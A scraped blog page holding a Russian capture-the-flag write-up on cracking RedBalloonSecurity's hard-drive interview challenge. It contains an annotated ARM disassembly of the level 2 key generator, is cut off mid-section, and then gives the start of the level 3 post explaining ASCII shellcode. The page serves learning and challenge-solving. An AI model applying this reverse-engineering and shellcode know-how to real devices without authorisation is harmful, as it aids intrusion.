         +     if (!Streamer) {         // memory insufficient         delete CE;@@ -594,7 +594,7 @@ int ks_asm(ks_engine *ks,         return KS_ERR_NOMEM;     }     MCTargetAsmParser *TAP = ks->TheTarget->createMCAsmParser(*ks->STI, *Parser, *ks->MCII, ks->MCOptions);-    if (!TAP) { +    if (!TAP) {         // memory insufficient         delete Parser;         delete Streamer;-- 1.9.1
level_2.html
ROM:00332D00ROM:00332D00 ; Segment type: Pure codeROM:00332D00                 AREA ROM, CODE, READWRITE, ALIGN=0ROM:00332D00                 ; ORG 0x332D00ROM:00332D00                 CODE16ROM:00332D00ROM:00332D00 ; =============== S U B R O U T I N E =======================================ROM:00332D00ROM:00332D00 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)ROM:00332D00 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.ROM:00332D00 ; The next level to reach, the key parts to print you must!ROM:00332D00ROM:00332D00 generate_keyROM:00332D00ROM:00332D00 var_28          = -0x28ROM:00332D00ROM:00332D00                 PUSH            {R4-R7,LR}ROM:00332D02                 SUB             SP, SP, #0x10ROM:00332D04                 MOVS            R7, R1ROM:00332D06                 MOVS            R4, R2ROM:00332D08                 MOVS            R5, R0ROM:00332D0A                 LDR             R1, =0x6213600 ; "R"...ROM:00332D0C                 LDRB            R0, [R1,#1]ROM:00332D0E                 CMP             R0, #0x31ROM:00332D10                 BNE             loc_332D1AROM:00332D12                 ADDS            R0, R1, #2ROM:00332D14                 BLX             ahex2byteROM:00332D18                 LDR             R1, =0x6213600ROM:00332D1AROM:00332D1A loc_332D1A                              ; CODE XREF: generate_key+10jROM:00332D1A                 MOV             R2, SPROM:00332D1CROM:00332D1C loc_332D1C                              ; CODE XREF: generate_key+28jROM:00332D1C                 LDRB            R6, [R1]ROM:00332D1E                 ADDS            R1, R1, #1ROM:00332D20                 CMP             R6, #0xDROM:00332D22                 BEQ             loc_332D2AROM:00332D24                 STRB            R6, [R2]ROM:00332D26                 ADDS            R2, R2, #1ROM:00332D28                 B               loc_332D1CROM:00332D2A ; ---------------------------------------------------------------------------ROM:00332D2AROM:00332D2A loc_332D2A                              ; CODE XREF: generate_key+22jROM:00332D2A                 SUBS            R5, #0x49ROM:00332D2C                 CMP             R5, #9ROM:00332D2E                 BGT             loc_332DD8ROM:00332D30                 LSLS            R5, R5, #1ROM:00332D32                 ADDS            R5, R5, #6ROM:00332D34                 MOV             R0, PCROM:00332D36                 ADDS            R5, R0, R5ROM:00332D38                 LDRH            R0, [R5]ROM:00332D3A                 ADDS            R0, R0, R5ROM:00332D3C                 BX              R0ROM:00332D3C ; ---------------------------------------------------------------------------ROM:00332D3E                 DCW 0x15ROM:00332D40                 DCW 0xA6ROM:00332D42                 DCW 0xA4ROM:00332D44                 DCW 0xA2ROM:00332D46                 DCW 0xA0ROM:00332D48                 DCW 0x9EROM:00332D4A                 DCW 0x2EROM:00332D4C                 DCW 0x50ROM:00332D4E                 DCW 0x98ROM:00332D50                 DCW 0xCROM:00332D52 ; ---------------------------------------------------------------------------ROM:00332D52ROM:00332D52 key_part1ROM:00332D52                 LDR             R0, [R4]ROM:00332D54                 MOVS            R6, #1ROM:00332D56                 STR             R6, [R7]ROM:00332D58                 BLX             loc_332DECROM:00332D5C                 CODE32ROM:00332D5CROM:00332D5C key_part2ROM:00332D5C                 LDR             R6, [R7]ROM:00332D60                 CMP             R6, #1ROM:00332D64                 LDREQ           R1, [R4,#4]ROM:00332D68                 EOREQ           R1, R1, R0ROM:00332D6C                 MOVEQ           R6, #1ROM:00332D70                 STREQ           R6, [R7,#4]ROM:00332D74                 B               loc_332DECROM:00332D78 ; ---------------------------------------------------------------------------ROM:00332D78ROM:00332D78 key_part3ROM:00332D78                 LDR             R6, [R7]ROM:00332D7C                 CMP             R6, #1ROM:00332D80                 LDREQ           R6, [R7,#4]ROM:00332D84                 CMPEQ           R6, #1ROM:00332D88                 LDREQ           R2, [R4,#8]ROM:00332D8C                 EOREQ           R2, R2, R1ROM:00332D90                 MOVEQ           R6, #1ROM:00332D94                 STREQ           R6, [R7,#8]ROM:00332D98                 B               loc_332DECROM:00332D9C ; ---------------------------------------------------------------------------ROM:00332D9CROM:00332D9C key_part4ROM:00332D9C                 LDR             R6, [R7]ROM:00332DA0                 CMP             R6, #1ROM:00332DA4                 LDREQ           R6, [R7,#4]ROM:00332DA8                 CMPEQ           R6, #1ROM:00332DAC                 LDREQ           R6, [R7,#8]ROM:00332DB0                 CMPEQ           R6, #1ROM:00332DB4                 LDREQ           R3, [R4,#0xC]ROM:00332DB8                 EOREQ           R3, R3, R2ROM:00332DBC                 MOVEQ           R6, #1ROM:00332DC0                 STREQ           R6, [R7,#8]ROM:00332DC4                 LDR             R4, =0x35A036 ; "Key Generated: %s%s%s%s"ROM:00332DC8                 BLX             loc_332DDCROM:00332DCC                 MOV             R1, SPROM:00332DD0                 LDR             R4, =0x35A05C ; "SP: %x"ROM:00332DD4                 BLX             loc_332DDCROM:00332DD8                 CODE16ROM:00332DD8ROM:00332DD8 loc_332DD8                              ; CODE XREF: generate_key+2EjROM:00332DD8                 LDR             R4, =0x35A020 ; "key not generated"ROM:00332DDA                 NOPROM:00332DDCROM:00332DDC loc_332DDC                              ; CODE XREF: generate_key+C8pROM:00332DDC                                         ; generate_key+D4pROM:00332DDC                 SUB             SP, SP, #4ROM:00332DDE                 STR             R0, [SP,#0x28+var_28]ROM:00332DE0                 MOVS            R0, R4ROM:00332DE2                 LDR             R4, =0x68B08DROM:00332DE4                 BLX             R4ROM:00332DE6                 ADD             SP, SP, #4ROM:00332DE8                 BLX             loc_332DECROM:00332DE8 ; End of function generate_keyROM:00332DE8ROM:00332DEC                 CODE32ROM:00332DECROM:00332DEC loc_332DEC                              ; CODE XREF: generate_key+58pROM:00332DEC                                         ; generate_key+74j ...ROM:00332DEC                 ADD             SP, SP, #0x20ROM:00332DF0                 LDR             LR, [SP],#4ROM:00332DF4                 BX              LRROM:00332DF8ROM:00332DF8 ; =============== S U B R O U T I N E =======================================ROM:00332DF8ROM:00332DF8ROM:00332DF8 ahex2byte                               ; CODE XREF: generate_key+14pROM:00332DF8                 STMFD           SP!, {R4-R6,LR}ROM:00332DFC                 MOV             R4, R0ROM:00332E00                 MOV             R6, R0ROM:00332E04ROM:00332E04 loc_332E04                              ; CODE XREF: ahex2byte+6CjROM:00332E04                 LDRB            R0, [R4]ROM:00332E08                 CMP             R0, #0xDROM:00332E0C                 BEQ             loc_332E68ROM:00332E10                 BL              sub_332E70ROM:00332E14                 CMN             R0, #1ROM:00332E18                 BNE             loc_332E2CROM:00332E1C                 LDRB            R0, [R4]ROM:00332E20                 BL              sub_332E98ROM:00332E24                 CMN             R0, #1ROM:00332E28                 BEQ             locret_332E6CROM:00332E2CROM:00332E2C loc_332E2C                              ; CODE XREF: ahex2byte+20jROM:00332E2C                 MOV             R5, R0ROM:00332E30                 LDRB            R0, [R4,#1]ROM:00332E34                 BL              sub_332E70ROM:00332E38                 CMN             R0, #1ROM:00332E3C                 BNE             loc_332E50ROM:00332E40                 LDRB            R0, [R4,#1]ROM:00332E44                 BL              sub_332E98ROM:00332E48                 CMN             R0, #1ROM:00332E4C                 BEQ             locret_332E6CROM:00332E50ROM:00332E50 loc_332E50                              ; CODE XREF: ahex2byte+44jROM:00332E50                 MOV             R5, R5,LSL#4ROM:00332E54                 ADD             R0, R5, R0ROM:00332E58                 STRB            R0, [R6]ROM:00332E5C                 ADD             R4, R4, #2ROM:00332E60                 ADD             R6, R6, #1ROM:00332E64                 B               loc_332E04ROM:00332E68 ; ---------------------------------------------------------------------------ROM:00332E68ROM:00332E68 loc_332E68                              ; CODE XREF: ahex2byte+14jROM:00332E68                 STRB            R0, [R6]ROM:00332E6CROM:00332E6C locret_332E6C                           ; CODE XREF: ahex2byte+30jROM:00332E6C                                         ; ahex2byte+54jROM:00332E6C                 LDMFD           SP!, {R4-R6,PC}ROM:00332E6C ; End of function ahex2byteROM:00332E6CROM:00332E70ROM:00332E70 ; =============== S U B R O U T I N E =======================================ROM:00332E70ROM:00332E70ROM:00332E70 sub_332E70                              ; CODE XREF: ahex2byte+18pROM:00332E70                                         ; ahex2byte+3CpROM:00332E70                 CMP             R0, #0xDROM:00332E74                 BEQ             loc_332E90ROM:00332E78                 CMP             R0, #0x30ROM:00332E7C                 BLT             loc_332E90ROM:00332E80                 CMP             R0, #0x39ROM:00332E84                 BGT             loc_332E90ROM:00332E88                 SUB             R0, R0, #0x30ROM:00332E8C                 B               locret_332E94ROM:00332E90 ; ---------------------------------------------------------------------------ROM:00332E90ROM:00332E90 loc_332E90                              ; CODE XREF: sub_332E70+4jROM:00332E90                                         ; sub_332E70+Cj ...ROM:00332E90                 MVN             R0, #0ROM:00332E94ROM:00332E94 locret_332E94                           ; CODE XREF: sub_332E70+1CjROM:00332E94                 BX              LRROM:00332E94 ; End of function sub_332E70ROM:00332E94ROM:00332E98ROM:00332E98 ; =============== S U B R O U T I N E =======================================ROM:00332E98ROM:00332E98ROM:00332E98 sub_332E98                              ; CODE XREF: ahex2byte+28pROM:00332E98                                         ; ahex2byte+4CpROM:00332E98                 CMP             R0, #0x41ROM:00332E9C                 BLT             loc_332EB4ROM:00332EA0                 CMP             R0, #0x46ROM:00332EA4                 BGT             loc_332EB4ROM:00332EA8                 SUB             R0, R0, #0x41ROM:00332EAC                 ADD             R0, R0, #0xAROM:00332EB0                 B               locret_332EB8ROM:00332EB4 ; ---------------------------------------------------------------------------ROM:00332EB4ROM:00332EB4 loc_332EB4                              ; CODE XREF: sub_332E98+4jROM:00332EB4                                         ; sub_332E98+CjROM:00332EB4                 MVN             R0, #0ROM:00332EB8ROM:00332EB8 locret_332EB8                           ; CODE XREF: sub_332E98+18jROM:00332EB8                 BX              LRROM:00332EB8 ; End of function sub_332E98ROM:00332EB8ROM:00332EB8 ; ---------------------------------------------------------------------------ROM:00332EBC dword_332EBC    DCD 0x6213600           ; DATA XREF: generate_key+ArROM:00332EC0 dword_332EC0    DCD 0x6213600           ; DATA XREF: generate_key+18rROM:00332EC4 dword_332EC4    DCD 0x35A036            ; DATA XREF: generate_key+C4rROM:00332EC8 dword_332EC8    DCD 0x35A05C            ; DATA XREF: generate_key+D0rROM:00332ECC dword_332ECC    DCD 0x35A020            ; DATA XREF: generate_key:loc_332DD8rROM:00332ED0 off_332ED0      DCD 0x68B08D            ; DATA XREF: generate_key+E2rROM:00332ED4                 DCB 0, 0, 0, 0ROM:00332ED4 ; ROM           endsROM:00332ED4ROM:00332ED4                 END

Серьезно? ASM?

Дабы сделать эту статью более понятной широкому кругу лиц, наверное стоит дать понять что же это за дамп из IDA Pro. Опишем все до мелочей :)

В этом code-box приведены первые 20 строк из level_2.html файла:

01. ROM:00332D0002. ROM:00332D00 ; Segment type: Pure code03. ROM:00332D00                 AREA ROM, CODE, READWRITE, ALIGN=004. ROM:00332D00                 ; ORG 0x332D0005. ROM:00332D00                 CODE1606. ROM:00332D0007. ROM:00332D00 ; =============== S U B R O U T I N E =======================================08. ROM:00332D0009. ROM:00332D00 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)10. ROM:00332D00 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.11. ROM:00332D00 ; The next level to reach, the key parts to print you must!12. ROM:00332D0013. ROM:00332D00 generate_key14. ROM:00332D0015. ROM:00332D00 var_28          = -0x2816. ROM:00332D0017. ROM:00332D00                 PUSH            {R4-R7,LR}18. ROM:00332D02                 SUB             SP, SP, #0x1019. ROM:00332D04                 MOVS            R7, R120. ROM:00332D06                 MOVS            R4, R2...

Колонка слева с ROM:XXXXXXXX - это адреса памяти. При загрузке бинарника в IDA Pro, мы должны препроверить, правильно ли IDA Pro поняла для какой архитектуры (ARM, x86, MIPS и тд. Их, ну прям очень большое количество) собран наш бинарник (в большинстве случаев, автоопределение работает очень хорошо, но если мы вгружаем не бинарник, а целый дамп памяти - некоторые вещи могут распознатся некорректно), считываем файл байт за байтом, и эта левая колонка автоинкрементируется каждый раз когда IDA Pro понимает что это за кусок данных. Данные в бинарнике могут быть поняты одним из следующих образов:

  • Данные. Самый низкий уровень понимания логики. Это когда кусок данных не представляет собой ничего конкретного. В дампе отображается как DCD, DCW, DCB - doubleword, word, byte соответственно (эти типы данных могут быть разных размеров на разных системах. Здесь советую погуглить и почитать. Сам это не сильно шарю). На такие штуки обычно есть ссылки из других участков кода. Назначение может быть самое разное. Далее будет понятно.

  • Код. Это когда кусок данных представляет собой 1 атомарную единицу операции (записать данные из регистра в память, сравнить числа и тд).

  • Строка. Это когда IDA Pro натыкается на массив данных которые лежат в ASCII диапазоне. От 0x20 до 0x7E (ASCII стандарт также описывает числа ниже 0x20, но они не имеют "текстового" смысла). Вполне возможно, что диапазон расширяется и на другие кодировки, но это вне контекста данной статьи.

  • Подпроцедура (Subroutine). Это самый высокий уровень понимания ассемблерной логики - когда IDA Pro видит функцию. Дальше мы видим то же самое, как если бы видели код. Но понимание того, что это не просто код, а функция дает невероятный скачок в осознании происходящего.

На 5й строке мы видим надпись CODE16. Это очень важно, поскольку этот дамп снят с кода для ARM процессоров (IC от LSI, который есть на плате от жесткого диска построен именно на этой архитектуре). У ARM процессоров есть 2 режима работы - ARM и Thumb.

  • В режиме ARM у нас есть доступ, наверное, ко всем ассемблерным операциям, но такие инструкции занимают 4 байта

  • В режиме Thumb мы немножко ограничены, но такие инструкции занимают 2 байта.

Причины по которым были созданы эти 2 режима мне неизвестны (знатоки в комментариях очень даже приветствуются), но могу сказать следующее.

  • В режиме ARM мы, скорее всего, будем исполнять желаемую логику быстрее. Как минимум потому что у нас есть доступ к инструкциям типа CMPEQ, которая выполнит операцию сравнения чисел только в том случае, когда результат предыдущго сравнения был успешным. Получается, что в этом режиме мы можем отдать логику if-else на железо. И сделать 2 операции (проверка предыдущего результата и выполнение новой операции) за 1 цикл процессора. Но и размер инструкций будет больше, а значит нужно использовать больше памяти.

  • В режиме Thumb мы не можем использовать подобное, но размер инструкций будет в 2 раза меньше, а значит затраты памяти будут ниже.

  • Еще стоит сказать, что архитектура ARM (не путать с режимом) прекрасна тем, что размер инструкций у них фиксирован (2 или 4 байта), чего нельзя сказать об x86

В общем, вот это CODE16 значит что в этом моменте процессор находится в Thumb режиме. И, как мы видим дальше, адреса памяти инкрементируются по 2 (конечно, там, где есть инструкция).

На строках 9-11 мы видим нарошно оставленные комментарии. Они говорят нам, что этот код исполняется тогда, когда мы вводим в серийник диска букву R и что-то после нее. Также, мы видим, что суть задачи - зарулить исполнение код таким образом, чтоб диск отдал нам части ключей. Совмещая эти ключи, мы получаем пароль от level_3.lod.7z.encrypted.

Строка 13 являет собой адрес, на который есть отсылки в коде. Дело в том, что программы на ассемблере не исполняются линейно. Инструкции типа B, BL, BX, BLX переводят исполнение кода по новому адресу. И когда IDA Pro видит такие инструкции, она автоматически дает имя этому адресу. В нашем случае, ребята из RedBalloonSecurity переименовали этот адрес в generate_key. Переименовывать позиции в коде, на который есть ссылки является прекрасным способом оставить для себя заметку о том, что делает определенный кусок кода.

На строке 15 мы видим переменную. Надеюсь, все помнят об области видимости в С? Реализация этого механизма на уровне ассемблера очень хитрая. Здесь используется структура данных типа стек.

мае, вот к чему stack в stackoverflow

У каждого процессора, помимо кэша, есть встроенное хранилище временных данных - регистры. Это самая быстрая память компьютера, как такового. Все операции с регистрами выполняются невероятно быстро. А поэтому, программу нужно строить таким образом чтоб минимизировать обращения к памяти, и почаще использовать регистры.

У ARM процессоров 15 регистров. Для большинства, можно писать код и использовать их как хочешь (хотя внутри компилятора все же есть определенные правила о том, какой регистр для чего использовать). Они имеют имена вида R0, R1 ... R15. Последние имеют специальное назначение:

  • SP (R13) - Stack Pointer. В этом регистре хранится адрес вершины стека

  • BP (R7 в Thumb, R11 в ARM) - Base Pointer. Здесь находится адрес начала стека

  • LR (R14) - Link Register. Если у бренч (B) инструкции есть приставка L, это значит, что адрес в PC нужно записать в LR (там есть определенная специфика, которую я не совсем понимаю. К этому адресу в LR должно добавлятся +2 байта для Thumb, или +4 байта для ARM. Но, это не точно). Потом это используется для возврата на предыдущее место в коде, например через BX LR. По сути, это аналог подхода, когда мы сохраняем адрес возврата на стек, но здесь используем регистр. Из преисуществ - он быстрее и часть програмной логики падает на CPU без хождения по памяти. Недостаток - регистр всего один, и предыдущие адреса возврата все же прийдется складывать на стек.

  • PC (R15) - Program Counter. Здесь находится адрес инструкции, которую процессор выполняет в данный момент. Писать сюда напрямую, кажись, нельзя. Но этот регистр полезен если мы хотим сделать прыжок на другой адрес. Даже если мы работаем с 16-битной архитектурой, мы, ну никак не можем сказать процессору прыгнуть на 16-битный адрес имея 2 байта на 1 инструкцию. Большинство инструкций для прыжка используют именно сдвиг от того, что находится в PC.

  • CSPR - Current State Process Register. Это специфический регистр. К нему нельзя обратится целиком, как и записать сюда что-то. Данные внутри этого регистра формируются автоматически на основе того, какие инструкции выполняет процессор. Он разбит на сегменты, и хранит в себе информацию о текущем состоянии процессора. К примеру, если мы делаем инструкцию CMP (сравнить числа), результат сравнения (0 или 1) пишется в один из битов этого регистра. А в дальнейшем это используется для условных операций.

Стек это определенное место в памяти, где хранятся значения локальных переменных, аргументы функций, адреса возвратов, а также предыдущее значение BP. Стек логически разбит на сегменты (stack frames). Каждый сегмент принадлежит какой-то определенной функции. И, когда мы вызываем из одной функции другую, мы по сути, сдвигаем адреса BP & SP чуть ниже(!) в памяти. Но перед тем как создавать новый сегмент на стеке, мы должны знать адрес, куда должен вернутся PC после завершения функции - он сохраняется на стеке (Return Address) перед вызовом функции. Также, чтоб при возврате, сегмент стека стал того же размера что и был, мы сохраняем предыдущее значение BP (Saved %ebp) на этот же стек. Выглядит все это дело примерно так (%ebp = BP, %esp = SP):

В предыдущем абзаце я сказал, что при создании нового сегмента стека, адреса BP & SP смещаются ниже. Дело в том, что "так сложилось исторически". Стек это FIFO конструкция, которая меняется в процессе исполнения программы. И компилятор не знает какого размера он может быть. То же самое касается кучи (heap) - памяти, которую мы запрашиваем у системы через семейство вызовов malloc (glibc). При выделении памяти в куче, ее адреса растут вверх, а вот когда растет стек, его адреса растут вниз. Стоит оговорится, что мы работаем с embeded устройством. Понятия кучи здесь, может и не быть (опять же, прошу экспертов меня поправить).

У ARM процессоров есть специальные семейство инструкций, которые работают со стеком: PUSH, POP, STMFD, LDMFD (уверен, есть еще, но для наших делишек этого хватит).

  • PUSH кладет то, что в аргументе на стек, и увеличивает стек (на самом деле уменьшает адрес)

  • POP снимает со стека данные и кладет в то, что в аргументе (зачастую регистр, но может быть и адрес памяти) и уменьшает стек (на самом деле увеличивает адрес)

  • STMFD, LDMFD делают то же самое, но туда можно запихнуть несколько регистров, и снять со стека несколько значений в рамках одной инструкции. И, кажись, указать, стоит ли подстраивать SP в зависимости от количества впихнутых регистров. Опять же, прелести ARM архитектуры!

Готовы? Ныряем!

Для того, чтоб что-то правильно сломать, нужно это правильно понять. Начнем с первого куска.

...13. ROM:00332D00 generate_key14. ROM:00332D0015. ROM:00332D00 var_28          = -0x2816. ROM:00332D0017. ROM:00332D00                 PUSH            {R4-R7,LR}18. ROM:00332D02                 SUB             SP, SP, #0x1019. ROM:00332D04                 MOVS            R7, R120. ROM:00332D06                 MOVS            R4, R221. ROM:00332D08                 MOVS            R5, R022. ROM:00332D0A                 LDR             R1, =0x6213600 ; "R"...23. ROM:00332D0C                 LDRB            R0, [R1,#1]24. ROM:00332D0E                 CMP             R0, #0x3125. ROM:00332D10                 BNE             loc_332D1A26. ROM:00332D12                 ADDS            R0, R1, #227. ROM:00332D14                 BLX             ahex2byte...

Строка 17-21. Первая инструкция, это PUSH. Она сохраняет на стек переменные из регистров R4-R7 и LR на стек, тоесть сохраняет предыдущий stack frame. Потом, отнимаем 16 байт от SP (увеличиваем стек). Копируем из регистров R0-R2 аргументы, которые были переданы в функцию generate_key в их "рабочие" места. Как видим, в прототипе было 3 аргумента. Регистров столко же. В предыдущем разделе я говорил, что аргументы падают на стек - это правда только в том случае, когда аргументов больше, чем 3 (или 4, уже не помню).

Процедура в предыдущем абзаце называется Function Prologue. Тоесть, не происходит ничего, что касается программной логики, но выполняется подготовка стека и регистров. Мне кажется, именно по подобным шаблонам IDA Pro отличает код от подпроцедур.

Строка 22-23. Грузим адрес, который будет указывать на то, что мы вводим в консольник диска в R1. Инструкция

LDRB R0, [R1,#1]

берет то, что лежит в R1, добавляет единицу, лезет в память по этому адресу (если значение в квадратных скобках, сначала надо интерпретировать эти данные как адрес), берет 1 байт и сохраняет его в R0.

Строка 24-25. Идет сравнение 2го вводимого символа с 0x31. В ASCII 0x31 это "1". Если мы ввели после буквы R единичку, выполнение кода не пойдет на loc_332D1A. Позже разберем что это за место.

Строка 26-27. Добавляем к адресу наших вводимых данных двойку и сохраняем в R0. По сути, мы смещаем адрес на 2 байта вперед. Тоесть, теперь он указывает на первый символ после R1 - "R1_" (на underscore). Далее, нас ждет безусловный прыжок на функцию ahex2byte. Но, это не просто прыжок. BLX, кроме прыжка, делает еще 2 замечательные вещи - сохраняет текущий адрес PC в LR, и переключает нас в ARM режим! внутри функции ahex2byte у нас теперь 4 байта на инструкцию. Помним, что R0 является первым аргументом при вызове функции.

Дабы подитожить, вот то, как пердыдущий кусок выглядел бы в С-шном виде. Этот код не правильный. Он чисто для наглядности:

void main () {  char *input = "R10000";  if (input[1] == "1") {    &input = &input + 2;    ahex2byte(&input);  }  else {    goto: loc_332D1A;  }}  

ахекс2байт

138. ROM:00332DF8 ; =============== S U B R O U T I N E =======================================139. ROM:00332DF8140. ROM:00332DF8141. ROM:00332DF8 ahex2byte                               ; CODE XREF: generate_key+14p142. ROM:00332DF8                 STMFD           SP!, {R4-R6,LR}143. ROM:00332DFC                 MOV             R4, R0144. ROM:00332E00                 MOV             R6, R0145. ROM:00332E04146. ROM:00332E04 loc_332E04                              ; CODE XREF: ahex2byte+6Cj147. ROM:00332E04                 LDRB            R0, [R4]148. ROM:00332E08                 CMP             R0, #0xD149. ROM:00332E0C                 BEQ             loc_332E68150. ROM:00332E10                 BL              sub_332E70151. ROM:00332E14                 CMN             R0, #1152. ROM:00332E18                 BNE             loc_332E2C153. ROM:00332E1C                 LDRB            R0, [R4]154. ROM:00332E20                 BL              sub_332E98155. ROM:00332E24                 CMN             R0, #1156. ROM:00332E28                 BEQ             locret_332E6C157. ROM:00332E2C158. ROM:00332E2C loc_332E2C                              ; CODE XREF: ahex2byte+20j159. ROM:00332E2C                 MOV             R5, R0160. ROM:00332E30                 LDRB            R0, [R4,#1]161. ROM:00332E34                 BL              sub_332E70162. ROM:00332E38                 CMN             R0, #1163. ROM:00332E3C                 BNE             loc_332E50164. ROM:00332E40                 LDRB            R0, [R4,#1]165. ROM:00332E44                 BL              sub_332E98166. ROM:00332E48                 CMN             R0, #1167. ROM:00332E4C                 BEQ             locret_332E6C168. ROM:00332E50169. ROM:00332E50 loc_332E50                              ; CODE XREF: ahex2byte+44j170. ROM:00332E50                 MOV             R5, R5,LSL#4171. ROM:00332E54                 ADD             R0, R5, R0172. ROM:00332E58                 STRB            R0, [R6]173. ROM:00332E5C                 ADD             R4, R4, #2174. ROM:00332E60                 ADD             R6, R6, #1175. ROM:00332E64                 B               loc_332E04176. ROM:00332E68 ; ---------------------------------------------------------------------------177. ROM:00332E68178. ROM:00332E68 loc_332E68                              ; CODE XREF: ahex2byte+14j179. ROM:00332E68                 STRB            R0, [R6]180. ROM:00332E6C181. ROM:00332E6C locret_332E6C                           ; CODE XREF: ahex2byte+30j182. ROM:00332E6C                                         ; ahex2byte+54j183. ROM:00332E6C                 LDMFD           SP!, {R4-R6,PC}184. ROM:00332E6C ; End of function ahex2byte185. ROM:00332E6C186. ROM:00332E70187. ROM:00332E70 ; =============== S U B R O U T I N E =======================================188. ROM:00332E70189. ROM:00332E70190. ROM:00332E70 sub_332E70                              ; CODE XREF: ahex2byte+18p191. ROM:00332E70                                         ; ahex2byte+3Cp192. ROM:00332E70                 CMP             R0, #0xD193. ROM:00332E74                 BEQ             loc_332E90194. ROM:00332E78                 CMP             R0, #0x30195. ROM:00332E7C                 BLT             loc_332E90196. ROM:00332E80                 CMP             R0, #0x39197. ROM:00332E84                 BGT             loc_332E90198. ROM:00332E88                 SUB             R0, R0, #0x30199. ROM:00332E8C                 B               locret_332E94200. ROM:00332E90 ; ---------------------------------------------------------------------------201. ROM:00332E90202. ROM:00332E90 loc_332E90                              ; CODE XREF: sub_332E70+4j203. ROM:00332E90                                         ; sub_332E70+Cj ...204. ROM:00332E90                 MVN             R0, #0205. ROM:00332E94206. ROM:00332E94 locret_332E94                           ; CODE XREF: sub_332E70+1Cj207. ROM:00332E94                 BX              LR208. ROM:00332E94 ; End of function sub_332E70209. ROM:00332E94210. ROM:00332E98211. ROM:00332E98 ; =============== S U B R O U T I N E =======================================212. ROM:00332E98213. ROM:00332E98214. ROM:00332E98 sub_332E98                              ; CODE XREF: ahex2byte+28p215. ROM:00332E98                                         ; ahex2byte+4Cp216. ROM:00332E98                 CMP             R0, #0x41217. ROM:00332E9C                 BLT             loc_332EB4218. ROM:00332EA0                 CMP             R0, #0x46219. ROM:00332EA4                 BGT             loc_332EB4220. ROM:00332EA8                 SUB             R0, R0, #0x41221. ROM:00332EAC                 ADD             R0, R0, #0xA222. ROM:00332EB0                 B               locret_332EB8223. ROM:00332EB4 ; ---------------------------------------------------------------------------224. ROM:00332EB4225. ROM:00332EB4 loc_332EB4                              ; CODE XREF: sub_332E98+4j226. ROM:00332EB4                                         ; sub_332E98+Cj227. ROM:00332EB4                 MVN             R0, #0228. ROM:00332EB8229. ROM:00332EB8 locret_332EB8                           ; CODE XREF: sub_332E98+18j230. ROM:00332EB8                 BX              LR231. ROM:00332EB8 ; End of function sub_332E98

Строка

Подробнее..

Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 0x02

04.05.2021 12:13:46 | Автор: admin

По мотивам
Часть 0x00
Часть 0x01
Часть 0x02

Сложность

Ребятушки, наконец! После довольно длительного перерыва ко мне, в конце концов, пришло вдохновение написать последнюю, финальную и завершающую часть этого чертовски долгого цикла о взломе диска от RedBalloonSecurity. В этой части вас ждет самое сложное из имеющихся заданий. То, с чем я боролся несколько месяцев, но за что был очень щедро вознагражден. Путь к решению был тернист, и я хочу вас в него посвятить.

Сразу хочется сказать, что прочтение моей предыдущей статьи обязательно! Она расписана до мелочей. Текущая публикация пишется с учетом того, что вы прочли и поняли предыдущую.

LEVEL3

По традиции, я начну с короткого содержания раздела диска:

user@ubuntu:/media/user/LEVEL3$ file *level_3.html:                  HTML document, ASCII text, with very long lineslevel3_instructions.txt:       ASCII textfinal_level.lod.7z.encrypted:  7-zip archive data, version 0.3

Все по классике:

  1. level_3.html - файл с дампом памяти функции, которая генерирует ключ

  2. level3_instructions.txt - инструкции что и как делать

  3. final_level.lod.7z.encrypted - запароленный архив с последним файлом прошивки. Решение текущего уровня должно нас привести к паролю к этому архиву

Те, кто следит за этим циклом публикаций уже должны почуять схожесть этого уровня с предыдущим. Так оно и есть. Мы имеем дело с очень похожей задачей. Но, не все так просто :)

Наша подсказка выглядит вот так:

user@ubuntu:/media/user/LEVEL3$ cat level3_instructions.txtYou made it! I guess I wasn't the best intern...Maybe this one is better?1. Invoke the function with command R<User_Input>2. Find the key you must!!!!!level3.html provides disassembly of a memory snapshot of the key generator function.Read this. http://phrack.org/issues/66/12.html

Ха-ха. Кто-то не был лучшим интерном. В конце подсказки лежит ссылка, которая ведет на сайт phrack.org. Этот сайт заблокирован во многих организациях. Он попадает под категорию malware/viruses, но там нету ни единого плохого бинарника. Это очень старый онлайн журнал, где умельцы пишут статьи о том как что-то взломать. Наша ссылка ведет на статью о написании ASCII шеллкода для ARM процессоров.

ASCII шеллкод

Ответить на вопрос о том, что же такое шеллкод в полном обьеме, я, наверное не смогу. Но, в моей голове ответ выглядит так:

Это набор бинарных данных, который обычно используется в эксплоитах в качестве исполняемого кода. Если мы говорим об эксплоитах - их код можно логически разбить на две части:

  • Первая часть отвечает за абьюз уязвимости. То есть, это код, который использует специальные механики, такие как buffer overflow, race condition, use-after-free и тд. для того, чтоб заставить систему исполнить вторую часть эксплоита.

  • А вторая часть - это уже то, что должен исполнить процессор после того, как эксплоит получил контроль над уязвимой системой. Это и есть наш шеллкод. Он может быть очень разным. Это зависит от того, что мы хотим получить от взломанной системы. Мы можем использовать в качестве шеллкода код для скрытого майнинга крипты, запустить процесс bash и присоединить его дескрипторы через сокет к удаленному ПК (и таким образом получить шелл на взломанный комп). По сути, шеллкод это то, чем мы нагружаем процессор после взлома системы.

Стоит сказать, что такой код может быть только машинным. Потому что подсовывать высокоуровневый код, компилировать его на взломанном ПК, а потом исполнять - будет ну прям совсем изобретенным велосипедом. В процессе написания шеллкода нужно так же учитывать то, что он должен быть незаметным и маленьким по размеру. Размер имеет чуть ли не самое важное значение. Чем меньше размер - тем больше "фильтров" может пройти наш шеллкод. Об этом расскажу немного позже в процессе этой публикации.

Самая значимая часть статьи на phrack.org это ASCII. Дело в том, что очень много систем принимают в качестве пользовательского ввода как-раз таки данные в ASCII формате (наш диск не исключение - кроме текста, символов и цифр писать в консольник ничего нельзя). В статье описано несколько механик о том, как писать шеллкод, используя только числа в диапазоне от 0x20 до 0x7E. И, мало того, каждый код операции процессора разбивается на биты, и рассказывается почему одна операция проходит ASCII "фильтр", а другая нет. Статью писал истинный гений!

В этот раз, я покажу файл level_3.html целиком. Ведь он гораздо меньше, чем на предыдущем уровне.

level_3.html
